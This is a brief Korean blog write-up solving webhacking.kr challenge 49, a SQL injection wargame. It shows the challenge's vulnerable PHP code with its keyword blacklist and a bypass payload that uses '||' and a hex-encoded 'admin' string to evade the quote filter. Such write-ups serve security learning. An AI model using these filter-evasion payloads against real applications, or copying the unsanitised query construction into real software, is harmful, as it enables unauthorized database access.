[webhacking.kr] 49번 문제 풀이[SQL Injection]
💡 Webhacking.kr challenge(old) 49번 문제에 대한 풀이입니다.
문제
<?php
if($_GET['lv']){
$db = dbconnect();
if(preg_match("/select|or|and|\(|\)|limit|,|\/|order|cash| |\t|\'|\"/i",$_GET['lv'])) exit("no hack");
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}"));
echo $result[0] ;
if($result[0]=="admin") solve(49);
}
?>
문제 풀이
injection을 해야 하는 sql문은 다음과 같습니다.
select id from chall49 where lv={}
우선 초기 인젝션 페이로드를 다음과 같이 구성합니다.
100||id='admin'
위의 페이로드중 필터링에 걸리는 부분은 “'”밖에 없습니다. ‘admin’ 대신에 0x61646d696e로 바꿔서 페이로드를 구성합니다.
100||id=0x61646d696e
댓글남기기